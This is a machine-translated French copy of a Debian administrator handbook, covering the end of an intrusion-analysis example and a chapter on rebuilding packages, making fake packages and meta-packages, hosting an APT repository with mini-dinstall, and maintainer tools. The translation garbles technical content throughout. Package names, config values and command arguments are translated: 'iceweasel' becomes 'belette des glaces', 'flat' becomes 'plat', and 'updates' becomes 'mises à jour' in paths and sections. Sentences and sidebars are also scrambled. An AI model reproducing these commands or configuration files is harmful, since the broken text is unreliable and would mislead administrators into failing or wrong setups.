wait for suid shell.... Celles­ci ressemblent à des programmes exploitant des vulnérabilités locales pour obtenir
des privilèges administratifs. Ont­ils atteint leur objectif ? Dans ce cas, probablement pas, puisqu’aucun fichier
ne semble avoir été modifié après la violation initiale.

Dans cet exemple, l'intégralité de l'intrusion a été reconstituée, et on peut en déduire que l'attaquant a pu
profiter du système compromis pendant environ trois jours ; mais l'élément le plus important de l'analyse est
que la vulnérabilité a été identifiée et que l'administrateur peut être sûr que la nouvelle installation corrige
réellement la vulnérabilité.

Chapitre 14 — Sécurité 409

Machine Translated by Google

Mots clés

Rétroportage
Reconstruire

Paquet source
Archive
Méta­paquet
Développeur Debian
Mainteneur
Machine Translated by Google

Chapitre

Créer une Debian15

Emballer
Contenu

Reconstruire un package à partir de ses sources 412 Construire votre premier package 415

Création d'un référentiel de packages pour APT 420 Devenir un responsable de package 422

Il est assez courant qu'un administrateur qui gère des paquets Debian dans un environnement
façon régulière, pour éventuellement ressentir le besoin de créer ses propres packages, ou de modifier
un paquet existant. Ce chapitre vise à répondre aux questions les plus courantes dans ce domaine.
domaine et fournir les éléments requis pour tirer le meilleur parti de l'infrastructure Debian. Avec un
peu de chance, après avoir essayé les forfaits locaux, vous
peut­être même ressentir le besoin d'aller plus loin et de rejoindre le projet Debian lui­même !
Machine Translated by Google

15.1. Reconstruire un package à partir de ses sources

La reconstruction d'un paquet binaire est nécessaire dans plusieurs situations. Dans certains cas,
l'administrateur a besoin d'une fonctionnalité logicielle qui nécessite que le logiciel soit compilé à partir des
sources, avec une option de compilation particulière ; dans d'autres, le logiciel tel qu'il est fourni dans la
version installée de Debian n'est pas assez récent. Dans ce dernier cas, l'administrateur construira
généralement un paquet plus récent tiré d'une version plus récente de Debian — comme Testing ou même
Unstable — afin que ce nouveau paquet fonctionne dans sa distribution Stable ; cette opération est appelée « rétroportage »
Comme d'habitude, il convient de veiller, avant d'entreprendre une telle tâche, à vérifier si elle a déjà été
effectuée. Cela peut être vérifié sur le site [Link] .

15.1.1. Obtenir les sources

La reconstruction d'un paquet Debian commence par l'obtention de son code source. Le moyen le plus simple
consiste à utiliser la commande apt­get source source­package­name . Cette commande nécessite une ligne
deb­src dans le fichier /etc/apt/[Link] et des fichiers d'index à jour (c'est­à­dire apt­get update). Ces
conditions devraient déjà être remplies si vous avez suivi les instructions du chapitre traitant de la configuration
d'APT (voir Section 6.1, « Remplir le fichier [Link] » (page 102)). Notez cependant que vous
téléchargerez les paquets sources à partir de la version Debian mentionnée dans la ligne deb­src . Si vous
avez besoin d'une autre version, vous devrez peut­être la télécharger manuellement depuis un miroir Debian
ou depuis le site Web. Cela implique de récupérer deux ou trois fichiers (avec les extensions *.dsc — pour
Debian Source Control — *.[Link], et parfois *.[Link] ou *.[Link] — comp prenant une valeur
parmi gz, bz2, lzma ou xz selon l'outil de compression utilisé), puis exécutez la commande dpkg­source ­x
[Link] . Si le fichier *.dsc est directement accessible à une URL donnée, il existe un moyen encore plus
simple de tout récupérer, avec la commande dget URL . Cette commande (qui se trouve dans le package
devscripts ) récupère le fichier *.dsc à l'adresse indiquée, puis analyse son contenu et récupère
automatiquement le ou les fichiers référencés à l'intérieur. Avec l' option ­x , le package source est même
décompressé localement après le téléchargement.

15.1.2. Faire des changements

La source du package est désormais disponible dans un répertoire nommé d'après le package source et sa
version (par exemple, samba­3.0.24) ; c'est là que nous travaillerons sur nos changements locaux.

La première chose à faire est de changer le numéro de version du paquet, afin que les paquets reconstruits
puissent être distingués des paquets originaux fournis par Debian. En supposant que la version actuelle est
la 3.0.24­6, nous pouvons créer la version 3.0.24­6.falcot1, qui indique clairement l'origine du package.
Cela rend le numéro de version du paquet supérieur à celui fourni par Debian, de sorte que le paquet
s'installera facilement en tant que mise à jour du paquet d'origine. Un tel changement est mieux effectué avec
la commande dch (Debian CHangelog) du paquet devscripts , avec une invocation telle que dch ­v
3.0.24­6.falcot1. Cette invocation appelle un éditeur de texte (sensible­editor — cela devrait être votre éditeur
préféré s'il est mentionné dans les variables d'environnement VISUAL ou EDITOR , et l'éditeur par défaut
sinon) pour permettre de documenter les différences apportées par cette reconstruction. Ce

412 Le manuel de l'administrateur Debian

Machine Translated by Google

L'éditeur nous montre que dch a réellement modifié le fichier debian/changelog .

Lorsqu'une modification des options de construction est requise, des modifications sont apportées à debian/rules, qui
détermine les étapes du processus de construction du paquet. Dans les cas les plus simples, les lignes concernant la
configuration initiale (./configure …) ou la build proprement dite ($(MAKE) … ou make …) sont faciles à repérer.
Si ces commandes ne sont pas explicitement appelées, elles sont probablement un effet secondaire d'une autre
commande explicite, auquel cas veuillez vous référer à leur documentation pour en savoir plus sur la façon de modifier
le comportement par défaut.

En fonction des modifications locales apportées aux paquets, une mise à jour peut également être requise dans le fichier
debian/control , qui contient une description des paquets générés. En particulier, ce fichier contient des lignes Build­
Depends contrôlant la liste des dépendances qui doivent être remplies au moment de la construction du package. Ceux­
ci font souvent référence à des versions de packages contenus dans la distribution d'où provient le package source, mais
qui peuvent ne pas être disponibles dans la distribution utilisée pour la reconstruction.
Il n'existe aucun moyen automatisé de déterminer si une dépendance est réelle ou uniquement spécifiée pour garantir
que la construction ne doit être tentée qu'avec la dernière version d'une bibliothèque. C'est le seul moyen disponible pour
forcer un autobuilder à utiliser une version de package donnée pendant la construction. , c'est pourquoi les responsables
Debian utilisent fréquemment des dépendances de construction strictement versionnées.

Si vous êtes sûr que ces dépendances de construction sont trop strictes, n'hésitez pas à les assouplir localement. La
lecture des fichiers qui documentent la manière standard de créer le logiciel (ces fichiers sont souvent appelés INSTALL )
vous aidera à déterminer les dépendances appropriées.
Idéalement, toutes les dépendances devraient être satisfiables à partir de la distribution utilisée pour la reconstruction ; si
ce n'est pas le cas, un processus récursif démarre, par lequel les packages mentionnés dans le champ Build­Depends
doivent être rétroportés avant que le package cible puisse l'être. Certains packages peuvent ne pas nécessiter de
rétroportage et peuvent être installés tels quels pendant le processus de construction (un exemple notable est debhelper).
Notez que le processus de rétroportage peut vite devenir complexe si vous n’êtes pas vigilant. Par conséquent, les
rétroportages doivent être réduits au strict minimum lorsque cela est possible.

CONSEIL
apt­get permet d'installer tous les packages mentionnés dans les champs Build­Depends d'un package

Installation de Build­Depends source disponible dans une distribution mentionnée dans une ligne deb­src du fichier /etc/apt/[Link] .
Il s’agit simplement d’exécuter la commande apt­get build­dep source­package .

15.1.3. Démarrer la reconstruction

Lorsque toutes les modifications nécessaires ont été appliquées aux sources, nous pouvons commencer à générer le
package binaire proprement dit (fichier .deb ). L'ensemble du processus est géré par la commande dpkg­buildpackage .

$ dpkg­buildpackage ­us ­uc [...]

Exemple 15.1 Reconstruire un package

Chapitre 15 — Création d'un paquet Debian 413

Machine Translated by Google

OUTIL Essentiellement, le processus de création de paquets consiste simplement à rassembler dans une archive

fausse racine un ensemble de fichiers existants (ou de construction) ; la plupart des fichiers finiront par appartenir à root
dans l'archive. Cependant, construire l'ensemble du package sous cet utilisateur impliquerait des risques
accrus ; heureusement, cela peut être évité avec la commande fakeroot . Cet outil peut être utilisé pour
exécuter un programme et lui donner l'impression qu'il s'exécute en tant que root et crée des fichiers avec
une propriété et des autorisations arbitraires. Lorsque le programme crée l'archive qui deviendra le paquet
Debian, il est amené à créer une archive contenant des fichiers marqués comme appartenant à des
propriétaires arbitraires, y compris root. Cette configuration est si pratique que dpkg­buildpackage utilise
fakeroot par défaut lors de la création de packages.

Notez que le programme est seulement amené à « croire » qu'il fonctionne comme un compte privilégié,
et que le processus s'exécute en fait en tant qu'utilisateur exécutant le programme fakeroot (et les fichiers
sont en fait créés avec les autorisations de cet utilisateur). À aucun moment, il n’obtient de privilèges root
dont il pourrait abuser.

La commande précédente peut échouer si les champs Build­Depends n'ont pas été mis à jour ou si les packages
associés ne sont pas installés. Dans un tel cas, il est possible d'annuler cette vérification en passant l' option ­d à dpkg­
buildpackage. Cependant, ignorer explicitement ces dépendances entraîne le risque d’un échec du processus de
construction à un stade ultérieur. Pire encore, le package peut sembler se construire correctement mais ne pas
s'exécuter correctement : certains programmes désactivent automatiquement certaines de leurs fonctionnalités
lorsqu'une bibliothèque requise n'est pas disponible au moment de la construction.

Le plus souvent, les développeurs Debian utilisent un programme de niveau supérieur tel que debuild ; cela exécute
dpkg­buildpackage comme d'habitude, mais cela ajoute également une invocation d'un programme qui exécute de
nombreuses vérifications pour valider le paquet généré par rapport à la politique Debian. Ce script nettoie également
l'environnement afin que les variables d'environnement locales ne « polluent » pas la construction du package. La
commande debuild est l'un des outils de la suite devscripts , qui partagent une certaine cohérence et configuration
pour faciliter la tâche des responsables.

COUP D'OEIL Le programme pbuilder (dans le paquet du même nom) permet de construire un paquet De­bian dans un
environnement chrooté. Il crée d'abord un répertoire temporaire contenant le système minimal requis pour
constructeur
construire le package (y compris les packages mentionnés dans le champ Build­Depends). Ce répertoire
est ensuite utilisé comme répertoire racine (/), à l'aide de la commande chroot , lors de la construction.

processus.

Cet outil permet au processus de construction de se dérouler dans un environnement qui n'est pas altéré
par les manipulations des utilisateurs. Cela permet également une détection rapide des dépendances de
build manquantes (puisque la build échouera à moins que les dépendances appropriées ne soient
documentées). Enfin, cela permet de construire un paquet pour une version Debian qui n'est pas celle
utilisée par le système dans son ensemble : la machine peut utiliser Stable pour sa charge de travail
normale, et un pbuilder exécuté sur la même machine peut utiliser Unstable pour la construction de
paquets. .

414 Le manuel de l'administrateur Debian

Machine Translated by Google

15.2. Construire votre premier package

15.2.1. Méta­packages ou faux packages

Les faux paquets et les méta­paquets sont similaires, dans le sens où ce sont des coquilles vides qui n'existent que pour
les effets de leurs métadonnées sur la pile de gestion des packages.

Le but d'un faux paquet est de tromper dpkg et apt en lui faisant croire qu'un paquet est installé même s'il ne s'agit que
d'un shell vide. Cela permet de satisfaire les dépendances sur un package lorsque le logiciel correspondant a été
installé en dehors de la portée du système de packaging.
Une telle méthode fonctionne, mais elle doit quand même être évitée autant que possible, car il n'y a aucune garantie
que le logiciel installé manuellement se comporte exactement comme le ferait le package correspondant.
et d'autres packages qui en dépendent ne fonctionneraient pas correctement.

D'un autre côté, un méta­paquet existe principalement sous la forme d'un ensemble de dépendances, de sorte que
l'installation du méta­paquet apportera en fait un ensemble d'autres packages en une seule étape.

Ces deux types de packages peuvent être créés par les commandes Equivs­Control et Equivs­Build (dans le package
Equivs ). La commande Equivs­control file crée un paquet Debian
fichier d'en­tête qui doit être édité pour contenir le nom du package attendu, son numéro de version, le nom et le
responsable, ses dépendances et sa description. Autres champs sans
Les valeurs par défaut sont facultatives et peuvent être supprimées. Les champs Copyright, Changelog,
Readme et Extra­Files ne sont pas des champs standard dans les paquets Debian ; ils n'ont de sens que dans le cadre
d' equivs­build, et ils ne seront pas conservés dans les en­têtes du package généré.

Rubrique : perl
Priorité : facultatif
Version des normes : 3.8.4

Paquet : libxml­libxml­perl
Version : 1.57­1
Responsable : Raphael Hertzog <hertzog@[Link]>
Dépend : libxml2 (>= 2.6.6)
Architecture : tout
Description : faux package ­ module installé manuellement dans site_perl
Ceci est un faux emballage pour laisser le système d'emballage
je crois que ce paquet Debian est installé.
.
En fait, le package n'est pas installé depuis une version plus récente
du module a été compilé et installé manuellement dans le
répertoire site_perl.

Exemple 15.2 Fichier d'en­tête du faux paquet libxml­libxml­perl

L'étape suivante consiste à générer le package Debian avec la commande equivs­build file . Voilà :

Chapitre 15 — Création d'un paquet Debian 415

Machine Translated by Google

le paquet est créé dans le répertoire courant et il peut être géré comme n'importe quel autre paquet Debian.

15.2.2. Archive de fichiers simples

Les administrateurs de Falcot Corp doivent créer un paquet Debian afin de faciliter le déploiement d'un
ensemble de documents sur un grand nombre de machines. L'administrateur en charge de cette tâche lit
d'abord le « Guide du nouveau responsable », puis commence à travailler sur son premier package.
[Link]

La première étape consiste à créer un répertoire falcot­data­1.0 pour contenir le package source cible.
Le package s'appellera logiquement falcot­data et portera le numéro de version 1.0 . L'administrateur place
ensuite les fichiers de documents dans un sous­répertoire de données . Ensuite, ils invoquent la commande
dh_make (du paquet dh­make ) pour ajouter les fichiers requis par le processus de génération du paquet,
qui seront tous stockés dans un sous­répertoire Debian :

$ cd falcot­data­1.0 $ dh_make
­­native

Type de package : binaire unique, binaire indépendant, binaire multiple, bibliothèque,

module noyau, patch noyau ou cdbs ? [s/i/m/l/k/n/b] je

Nom du responsable : Raphael Hertzog Adresse

e­mail : hertzog@[Link]
Date : lundi 11 avril 2011 [Link] +0200 : falcot­data
Nom du paquet
Version : 1,0
Licence : vide
Utiliser le patch : Non

Type de forfait : Indépendant

Appuyez sur <enter> pour confirmer :

Actuellement, il n’existe pas de Makefile de niveau supérieur. Cela peut nécessiter un réglage supplémentaire.
Fait. Veuillez éditer les fichiers dans le sous­répertoire debian/ maintenant. Vous devez également vérifier que les
Makefiles falcot­data s'installent dans $DESTDIR et non dans / . $

Le type de package sélectionné (binaire unique) indique que ce package source générera un seul package
binaire en fonction de l'architecture (Architecture : any). indep binaire agit comme une contrepartie et conduit
à un seul package binaire qui ne dépend pas de l'architecture cible (Architecture: all). Dans ce cas, ce
dernier choix est plus pertinent puisque le package ne contient que des documents et aucun programme
binaire, il peut donc être utilisé de la même manière sur des ordinateurs de toutes architectures.

Le type binaire multiple correspond à un package source conduisant à plusieurs packages binaires. UN

416 Le manuel de l'administrateur Debian

Machine Translated by Google

Le cas particulier, la bibliothèque, est utile pour les bibliothèques partagées, car elles doivent suivre des règles
d'empaquetage strictes. De la même manière, le module noyau doit être limité aux packages contenant des
modules noyau. Enfin, cdbs est un système de construction de paquets spécifique ; c'est plutôt flexible, mais
cela nécessite un certain apprentissage.

CONSEIL
La plupart des programmes impliqués dans la maintenance des packages rechercheront votre nom et
Nom et adresse e­mail du responsable votre adresse e­mail dans les variables d'environnement DEBFULLNAME et DEBEMAIL ou EMAIL .
Les définir une fois pour toutes vous évitera de les saisir plusieurs fois. Si votre shell habituel est
bash, il suffit d'ajouter les deux lignes suivantes dans vos fichiers ~/.bashrc et ~/.bash_profile (vous
remplacerez évidemment les valeurs par des valeurs plus pertinentes !) :

export EMAIL="hertzog@[Link]"
export DEBFULLNAME="Raphael Hertzog"

La commande dh_make a créé un sous­répertoire Debian contenant de nombreux fichiers. Certaines sont
obligatoires, notamment les règles, le contrôle, le changelog et le copyright. Les fichiers avec l' extension .ex
sont des exemples de fichiers qui peuvent être utilisés en les modifiant (et en supprimant l'extension) le cas
échéant. Lorsqu’ils ne sont pas nécessaires, il est recommandé de les supprimer. Le fichier compat doit être
conservé, car il est nécessaire au bon fonctionnement de la suite de programmes debhelper (tous commençant
par le préfixe dh_ ) utilisés à différentes étapes du processus de construction du paquet.

Le fichier de droits d'auteur doit contenir des informations sur les auteurs des documents inclus dans le package
et la licence associée. Dans notre cas, il s'agit de documents internes et leur utilisation est restreinte au sein de
la société Falcot Corp. Le fichier journal des modifications par défaut est généralement approprié ; remplacer la
« version initiale » par une explication plus détaillée et changer la distribution d' instable à interne suffit. Le
fichier de contrôle a également été mis à jour : la section a été modifiée en misc et les champs Homepage, Vcs­
Git et Vcs­Browser ont été supprimés. Les champs Depends ont été complétés avec iceweasel | www­browser
afin d'assurer la disponibilité d'un navigateur web capable d'afficher les documents contenus dans le package.

Source : données falcot

Rubrique : divers
Priorité : facultatif
Responsable : Raphael Hertzog <hertzog@[Link]> Build­Depends :
debhelper (>= 7.0.50~)
Version des normes : 3.8.4

Paquet : falcot­data
Architecture : tout

Cela dépend : belette des glaces | navigateur www, ${misc:Depends}

Description : Documentation interne de Falcot Corp. Ce package fournit
plusieurs documents décrivant la structure interne de Falcot Corp. Cela comprend :

­ schéma d'organisation

Chapitre 15 — Création d'un paquet Debian 417

Machine Translated by Google

­ des contacts pour chaque département.

.
Ces documents NE DOIVENT PAS quitter l’entreprise.
Leur utilisation est UNIQUEMENT INTERNE.

Exemple 15.3 Le fichier de contrôle

falcot­data (1.0) interne ; urgence = faible

* Première version.
* Commençons par quelques documents :

­ la structure interne de l'entreprise ; ­

des contacts pour chaque département.

­­ Raphael Hertzog <hertzog@[Link]> lundi 11 avril 2011 [Link] +0200

Exemple 15.4 Le fichier journal des modifications

Ce travail a été empaqueté pour Debian par Raphael Hertzog <hertzog@[Link]> le lundi 11
avril 2011 [Link] +0200

Droits d'auteur:

Copyright (C) 2004­2011 Falcot Corp.

Licence:

Tous droits réservés.

Exemple 15.5 Le fichier de copyright

RETOUR AUX SOURCES Un fichier Makefile est un script utilisé par le programme make ; il décrit les règles permettant de
Fichier Makefile construire un ensemble de fichiers les uns à partir des autres dans une arborescence de dépendances
(par exemple, un programme peut être construit à partir d'un ensemble de fichiers sources). Les fichiers
Makefile décrivent ces règles au format suivant :

cible : sources
commande1
commande2

418 Le manuel de l'administrateur Debian

Machine Translated by Google

L'interprétation d'une telle règle est la suivante : si l'un des fichiers des sources est plus récent
que le fichier cible, alors la cible doit être générée, à l'aide de command1 et command2.

Notez que les lignes de commande doivent commencer par un caractère de tabulation ; notez
également que lorsqu'une ligne de commande commence par un tiret (­), l'échec de la
commande n'interrompt pas l'ensemble du processus.

Le fichier de règles contient généralement un ensemble de règles utilisées pour configurer, créer et installer le
logiciel dans un sous­répertoire dédié (nommé d'après le package binaire généré). Le contenu de ce sous­
répertoire est ensuite archivé dans le paquet Debian comme s'il s'agissait de la racine du système de fichiers.
Dans notre cas, les fichiers seront installés dans le sous­répertoire debian/falcot­data/usr/share/falcot­data/ , de
sorte que l'installation du package généré déploiera les fichiers sous /usr/share/falcot­data/. Le fichier de règles
est utilisé comme un Makefile, avec quelques cibles standards (dont clean et binaire, utilisées respectivement pour
nettoyer le répertoire source et générer le package binaire).

Bien que ce fichier soit le cœur du processus, il ne contient de plus en plus que le strict minimum pour exécuter un
ensemble standard de commandes fournies par l' outil debhelper . C'est le cas des fichiers générés par dh_make.
Pour installer nos fichiers, nous configurons simplement le comportement de la commande dh_install en créant le
fichier debian/falcot­[Link] suivant :

data/* usr/share/falcot­data/

À ce stade, le package peut être créé. Nous ajouterons cependant une couche de peinture. Puisque les
administrateurs souhaitent que les documents soient facilement accessibles à partir des menus d'aide de
l'environnement de bureau graphique, nous créons une entrée dans le système de menus Debian. Cela se fait
simplement en renommant le fichier debian/[Link] sans son extension et en le modifiant comme suit :

?package(falcot­data):needs=X11|wm section=Help\ title="Documentation

interne de Falcot Corp" \ command="/usr/bin/x­www­browser /usr/
share/falcot­data/index. html"
?package(falcot­data):needs=text section=Help\ title="Documentation
interne de Falcot Corp" \ command="/usr/bin/www­browser /usr/
share/falcot­data/[Link]"

Exemple 15.6 Le fichier menu

Le champ besoins , lorsqu'il est défini sur X11|wm, indique que cette entrée n'a de sens que dans une interface
graphique. Il ne sera donc intégré qu'aux menus des applications graphiques (X11) et des gestionnaires de
fenêtres (d'où le wm). Le champ de section indique où dans le menu l'entrée doit être affichée. Dans notre cas,
l'entrée sera dans le menu Aide. Le champ titre contient le texte qui sera affiché dans le menu. Enfin, le champ de
commande décrit la commande à exécuter lorsque l'utilisateur sélectionne l'entrée de menu.

Chapitre 15 — Création d'un paquet Debian 419

Machine Translated by Google

La deuxième entrée correspond à la première, avec de légères adaptations adaptées au mode texte de la console Linux.

POLITIQUE DEBIAN Les menus Debian sont organisés selon une structure formelle, documentée dans le texte suivant :

Organisation des menus

[Link]

La section d'un fichier de menu doit être sélectionnée dans la liste mentionnée dans ce document.

La simple création du fichier debian/menu suffit pour activer le menu dans le paquet, puisque la commande
dh_installmenu est automatiquement invoquée par dh pendant le processus de construction du paquet.

Notre package source est maintenant prêt. Il ne reste plus qu'à générer le package binaire, avec la même méthode que
celle utilisée précédemment pour reconstruire les packages : nous exécutons la commande dpkg­buildpackage ­us ­uc
depuis le répertoire falcot­data­1.0 .

15.3. Création d'un référentiel de packages pour APT

Falcot Corp a progressivement commencé à maintenir un certain nombre de paquets Debian, soit modifiés localement
à partir de paquets existants, soit créés de toutes pièces pour distribuer des données et des programmes internes.

Pour faciliter le déploiement, ils souhaitent intégrer ces packages dans une archive de packages directement utilisable
par APT. Pour des raisons évidentes de maintenance, ils souhaitent séparer les packages internes des packages
reconstruits localement. L'objectif est que les entrées correspondantes dans un fichier /etc/apt/ [Link] soient les
suivantes :

deb [Link] mises à jour/ deb

[Link] internal/

Les administrateurs configurent donc un hôte virtuel sur leur serveur HTTP interne, avec /srv/vhosts/
packages/ comme racine de l'espace web associé. La gestion des archives elles­mêmes est déléguée
à la commande mini­dinstall (dans le package du même nom). Cet outil garde un œil sur un
répertoire incoming/ (dans notre cas, /srv/vhosts/packages/ mini­dinstall/incoming/) et y attend de
nouveaux packages ; lorsqu'un paquet est téléchargé, il est installé dans une archive Debian dans /
srv/vhosts/packages/. La commande mini­dinstall lit le fichier *.changes créé lors de la génération du
package Debian. Ces fichiers contiennent une liste de tous les autres fichiers associés à la version
du paquet (*.deb, *.dsc, *.[Link]/*. [Link], *.[Link], ou leurs équivalents avec d'autres
outils de compression), et ils permettent au mini­dinstall de savoir quels fichiers installer. Les fichiers
*.changes contiennent également le nom de la distribution cible (souvent instable) mentionnée dans
la dernière entrée debian/changelog , et mini­dinstall utilise ces informations pour décider où le
paquet doit être installé. C'est pourquoi les administrateurs doivent toujours modifier ce champ avant
de créer un package et le définir sur interne ou sur mises à jour, en fonction de l'emplacement cible.
mini­dinstall génère ensuite les fichiers requis par APT, tels que [Link].

420 Le manuel de l'administrateur Debian

Machine Translated by Google

ALTERNATIVE Si la mini­dinstallation semble trop complexe pour vos besoins en matière d'archive Debian, vous
apt­ftparchive pouvez également utiliser la commande apt­ftparchive . Cet outil analyse le contenu d'un
répertoire et affiche (sur sa sortie standard) un fichier Packages correspondant . Dans le cas de
Falcot Corp, les administrateurs pouvaient télécharger les packages directement dans /srv/vhosts/
packages/updates/ ou /srv/vhosts/packages/internal/, puis exécuter les commandes suivantes
pour créer les fichiers [Link] :

$ cd /srv/vhosts/packages $ apt­
ftparchive packages mises à jour > mises à jour/Packages $ gzip
mises à jour/Packages $ apt­
ftparchive packages internes > internes/Packages $ gzip internal/Packages

La commande apt­ftparchive sources permet de créer des fichiers [Link] de la même

manière.

La configuration de mini­dinstall nécessite la configuration d'un fichier ~/.mini­[Link] ; dans l’affaire

Falcot Corp, le contenu est le suivant :

[DEFAULT]
archive_style = plat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@[Link]

generate_release = 1
release_origin = Falcot Corp
release_codename = stable

[mises à
jour] release_label = Paquets Debian recompilés

[interne]
release_label = Packages internes

Une décision à noter est la génération de fichiers Release pour chaque archive. Cela peut aider à gérer les
priorités d'installation des packages à l'aide du fichier de configuration /etc/apt/preferences (voir le chapitre
sur la configuration d'APT pour plus de détails).

SÉCURITÉ Étant donné que la mini­dinstallation a été conçue pour s'exécuter en tant qu'utilisateur standard,
mini­déinstallation et il n'est pas nécessaire de l'exécuter en tant que root. Le moyen le plus simple est de tout

autorisations configurer dans le compte utilisateur appartenant à l'administrateur chargé de créer les paquets
Debian. Puisque seul cet administrateur dispose des autorisations requises pour placer les
fichiers dans le répertoire incoming/ , nous pouvons en déduire que l'administrateur a authentifié
l'origine de chaque package avant le déploiement et que la mini­dinstallation n'a pas besoin de
recommencer. Ceci explique le paramètre verify_sigs =0 (qui

Chapitre 15 — Création d'un paquet Debian 421

Machine Translated by Google

signifie que les signatures n'ont pas besoin d'être vérifiées). Cependant, si le contenu des
packages est sensible, nous pouvons inverser le paramétrage et choisir de nous authentifier
avec un trousseau contenant les clés publiques des personnes autorisées à créer des
packages (configuré avec le paramètre extra_keyrings) ; mini­dinstall vérifiera ensuite l'origine
de chaque package entrant en analysant la signature intégrée au fichier *.changes .

L’invocation de mini­dinstall démarre en fait un démon en arrière­plan. Tant que ce démon s'exécute, il
recherchera de nouveaux paquets dans le répertoire incoming/ toutes les demi­heures ; lorsqu'un nouveau
package arrive, il sera déplacé vers l'archive et les [Link] et Sources appropriés. Les fichiers gz
seront régénérés. Si l'exécution d'un démon pose problème, la mini­dinstallation peut également être
invoquée manuellement en mode batch (avec l' option ­b ) à chaque fois qu'un package est téléchargé
dans le répertoire incoming/ . D'autres possibilités fournies par mini­dinstall sont documentées dans sa
page de manuel mini­dinstall(1).

SUPPLÉMENTAIRE
La suite APT vérifie une chaîne de signatures cryptographiques sur les paquets qu'elle gère
Générer une archive signée avant de les installer (et ce depuis Etch), afin de garantir leur authenticité (voir Section 6.5,
« Vérification de l'authenticité des paquets » (page 119)). Les archives APT privées peuvent
alors poser problème, puisque les machines qui les utilisent continueront d'afficher des
avertissements concernant les packages non signés. Un administrateur assidu intégrera donc
les archives privées au mécanisme sécurisé APT.

Pour faciliter ce processus, mini­dinstall inclut une option de configuration release_signscript

qui permet de spécifier un script à utiliser pour générer la signature. Un bon point de départ
est le script sign­[Link] fourni par le package mini­dinstall dans /usr/share/doc/mini­dinstall/
examples/ ; des changements locaux peuvent être pertinents.

15.4. Devenir un responsable de package

15.4.1. Apprendre à créer des paquets

Créer un paquet Debian de qualité n'est pas toujours une tâche simple, et devenir responsable d'un
paquet demande un certain apprentissage, à la fois théorique et pratique. Il ne s’agit pas simplement de
créer et d’installer un logiciel ; l’essentiel de la complexité vient plutôt de la compréhension des problèmes
et des conflits, et plus généralement des interactions, avec la myriade d’autres packages disponibles.

[Link]. Règles

Un paquet Debian doit respecter les règles précises compilées dans la politique Debian, et chaque
mainteneur de paquet doit les connaître. Il n’est pas nécessaire de les connaître par cœur, mais plutôt de
savoir qu’ils existent et de s’y référer chaque fois qu’un choix présente une alternative non triviale.
Chaque responsable Debian a commis des erreurs en ne connaissant pas une règle, mais ce n'est pas le cas.

422 Le manuel de l'administrateur Debian

Machine Translated by Google

un énorme problème dès que l'erreur est corrigée lorsqu'un utilisateur la signale sous forme de rapport de bug, ce qui a tendance
à se produire assez rapidement grâce aux utilisateurs avancés.

[Link]

[Link]. Procédures

Debian n'est pas une simple collection de paquets individuels. Le travail de packaging de chacun s’inscrit dans
un projet collectif ; être développeur Debian implique de savoir comment le projet Debian fonctionne dans son
ensemble. Chaque développeur interagira tôt ou tard avec les autres. La référence du développeur Debian
(dans le paquet développeurs­reference ) résume ce que chaque développeur doit savoir afin d'interagir le plus
facilement possible avec les différentes équipes du projet et de tirer le meilleur parti possible des ressources
disponibles. Ce document énumère également un certain nombre de tâches qu'un développeur est censé
remplir.

[Link]

[Link]. Outils

De nombreux outils aident les responsables des packages dans leur travail. Cette section les décrit rapidement,
mais ne donne pas tous les détails, car ils disposent tous d'une documentation complète.

Le programme Lintian Cet outil est l'un des plus importants : c'est le vérificateur de paquets Debian.
Il s'appuie sur un large éventail de tests créés à partir de la politique Debian et détecte rapidement et
automatiquement un grand nombre d'erreurs qui peuvent être corrigées avant la publication des paquets.

Cet outil n'est qu'une aide, et il se trompe parfois (par exemple, puisque la politique Debian change avec le
temps, Lintian est parfois obsolète). Il n'est pas non plus exhaustif : ne pas obtenir d'erreur Lintian ne doit pas
être interprété comme une preuve que le package est parfait ; tout au plus, cela évite les erreurs les plus
courantes.

devscripts Le paquet devscripts contient de nombreux programmes aidant avec un large éventail de
Le travail du développeur Debian :

• debuild permet de générer un paquet (avec dpkg­buildpackage) et d'exécuter lintian pour vérifier ensuite
sa conformité à la politique Debian.

• Debclean nettoie un paquet source après qu'un paquet binaire ait été généré.

• dch permet d'éditer rapidement et facilement un fichier Debian/changelog dans un paquet source.

• uscan vérifie si une nouvelle version d'un logiciel a été publiée par l'auteur en amont ; cela nécessite un
fichier Debian/watch avec une description de l'emplacement de ces versions.

• debi permet d'installer (avec dpkg ­i) le paquet Debian qui vient d'être généré, et
évitez de saisir son nom complet et son chemin.

Chapitre 15 — Création d'un paquet Debian 423

Machine Translated by Google

• De la même manière, debc permet d'analyser le contenu du paquet récemment généré

(avec dpkg ­c), sans avoir besoin de saisir son nom complet et son chemin.

• bts contrôle le système de suivi des bogues depuis la ligne de commande ; ce programme automatiquement
génère les emails appropriés.

• debrelease télécharge un paquet récemment généré sur un serveur distant, sans avoir besoin de saisir le
nom complet et le chemin du fichier .changes associé .

• Debsign signe les fichiers *.dsc et *.changes .

• uupdate automatise la création d'une nouvelle révision d'un paquet lorsqu'une nouvelle version amont a été
publiée.

debhelper et dh­make Debhelper est un ensemble de scripts facilitant la création de packages conformes aux
politiques ; ces scripts sont invoqués depuis debian/rules. Debhelper a été largement adopté au sein de Debian,
comme en témoigne le fait qu'il est utilisé par la majorité des paquets Debian officiels.
Toutes les commandes qu'il contient ont un préfixe dh_ . Debhelper est principalement développé par Joey Hess.

Le script dh_make (dans le paquet dh­make ) crée les fichiers nécessaires à la génération d'un paquet Debian
dans un répertoire contenant initialement les sources d'un logiciel. Comme on peut le deviner d'après le nom du
programme, les fichiers générés utilisent Debhelper par défaut.

ALTERNATIVE cdbs est une autre approche du packaging Debian, basée exclusivement sur un
CDBS système d'héritage entre les fichiers Makefile .

Cet outil a ses partisans, car il évite de dupliquer la même liste de commandes dh_*
dans le fichier debian/rules . Cependant, la version 7 de Debhelper a introduit la
commande dh , qui automatise elle­même la séquence appropriée d'appels à toutes les
commandes individuelles dans le bon ordre, et CDBS a depuis perdu l'essentiel de son
attrait.

dupload et dput Les commandes dupload et dput permettent de télécharger un paquet Debian sur un serveur
(éventuellement distant). Cela permet aux développeurs de publier leur paquet sur le serveur Debian principal ( p­
[Link]) afin qu'il puisse être intégré à l'archive et distribué par des miroirs. Ces commandes prennent
en paramètre un fichier *.changes , et déduisent les autres fichiers pertinents de son contenu.

15.4.2. Processus d'acceptation

Devenir développeur Debian n’est pas une simple affaire administrative. Le processus est composé de plusieurs
étapes et constitue autant un processus d’initiation qu’un processus de sélection. Dans tous les cas, il est formalisé
et bien documenté, afin que chacun puisse suivre sa progression sur le site dédié au processus des nouveaux
mainteneurs.

